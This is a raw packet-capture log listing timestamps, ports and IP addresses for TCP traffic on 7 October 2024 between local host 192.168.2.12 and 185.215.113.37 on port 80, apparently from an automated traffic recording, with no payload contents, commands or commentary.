Oct 7, 2024 18:03:23.290316105 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.294426918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.294442892 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.294454098 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.294497967 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.294533014 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.296349049 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.296406031 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.296689987 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.296700954 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.296744108 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.296789885 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.296802044 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.296813965 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.296844006 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.296875954 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.296917915 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.296928883 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.296938896 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.296950102 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.296967983 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.296998978 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.297175884 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.297188997 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.297199011 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.297209024 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.297215939 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.297219992 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.297233105 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.297241926 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.297243118 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.297252893 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.297264099 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.297270060 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.297277927 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.297283888 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.297307968 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.297806025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.297851086 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.297914028 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.297926903 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.297936916 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.297946930 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.297959089 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.297967911 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.297969103 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.297980070 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.297990084 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.298007011 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.298007011 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.298019886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.298029900 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.298029900 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.298063993 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.298414946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.298461914 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.298494101 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.298505068 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.298515081 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.298527002 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.298537016 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.298547983 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.298552990 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.298594952 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.298666000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.298677921 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.298687935 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.298697948 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.298707962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.298712969 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.298719883 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.298728943 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.298733950 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.298742056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.298753977 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.298764944 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.298769951 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.298777103 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.298789978 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.298800945 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.298804998 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.298826933 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.298845053 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.371427059 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.372638941 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.373179913 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.373255968 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.411652088 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.411675930 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.411684990 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.411747932 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.411747932 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.412687063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.412719011 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.412728071 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.412797928 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.412797928 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.412842035 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.412853003 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.412863970 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.412887096 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.413284063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.413336992 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.413336992 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.413336992 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.413347960 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.413434982 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.413463116 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.413472891 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.413481951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.413491964 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.413515091 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.413629055 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.413660049 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.413669109 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.413723946 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.413723946 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.413737059 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.413746119 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.413798094 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.413892031 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.413902044 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.413912058 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.413922071 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.413938999 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.414010048 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.414036989 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.414047003 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.414052010 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.414052010 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.414115906 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.414237022 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.414302111 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.414310932 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.414357901 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.414357901 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.414380074 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.414391994 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.414414883 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.414530039 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.414541006 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.414551020 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.414576054 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.414576054 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.414726973 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.419101000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.419116974 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.419127941 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.419202089 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.421117067 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.421129942 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.421140909 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.421174049 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.421188116 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.421197891 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.421209097 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.421219110 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.421228886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.421238899 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.421238899 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.421371937 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.421549082 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.421560049 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.421569109 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.421578884 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.421590090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.421598911 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.421607971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.421608925 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.421608925 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.421619892 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.421628952 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.421638966 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.421648979 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.421668053 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.421668053 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.421876907 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.421880007 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.421886921 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.422005892 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.422015905 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.422025919 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.422034979 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.422039986 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.422040939 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.422045946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.422055960 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.422065973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.422075033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.422095060 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.422095060 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.422210932 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.422344923 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.422355890 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.422364950 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.422378063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.422386885 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.422437906 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.422462940 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.422533989 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.422544003 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.422555923 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.422570944 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.422597885 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.422740936 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.422750950 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.422760963 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.422804117 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.422804117 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.422878027 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.422888041 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.422897100 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.422907114 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.422921896 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.422964096 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.479224920 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.484348059 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.694472075 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.694499016 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.694509029 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.694528103 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.694571018 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.694610119 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.694622040 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.694633007 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.694643974 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.694658041 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.694761992 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.694792986 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.694792986 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.694835901 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.694847107 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.694858074 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.694869995 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.694891930 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.694891930 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.694947958 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.695259094 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.695271015 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.695282936 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.695298910 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.695343018 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.695403099 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.695415974 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.695425987 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.695440054 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.695449114 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.695451021 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.695462942 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.695475101 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.695485115 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.695485115 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.695544958 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.695879936 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.695890903 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.695900917 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.695910931 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.695920944 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.695930958 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.695940971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.695950985 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.695967913 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.695967913 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.696037054 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.696341038 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.696471930 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.696504116 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.696515083 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.696563005 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.696599960 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.696613073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.696621895 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.696631908 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.696649075 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.696799040 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.696947098 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.696958065 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.696968079 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.696978092 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.696988106 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.696988106 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.696999073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.697009087 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.697019100 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.697026014 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.697026014 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.697030067 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.697067976 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.697067976 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.697586060 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.697597980 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.697607994 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.697617054 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.697618961 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.697628021 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.697638988 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.697649002 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.697659016 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.697662115 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.697662115 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.697669983 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.697684050 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.697694063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.697695017 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.697695017 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.697705984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.697716951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.697742939 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.697742939 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.698497057 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.698508024 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.698518038 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.698528051 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.698538065 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.698542118 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.698542118 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.698549032 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.698561907 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.698571920 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.698581934 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.698587894 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.698587894 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.698594093 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.698605061 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.698615074 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.698621035 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.698626995 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.698647976 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.698647976 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.698812962 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.699232101 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.699244022 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.699258089 CEST	80	49711	185.215.113.37	192.168.2.12
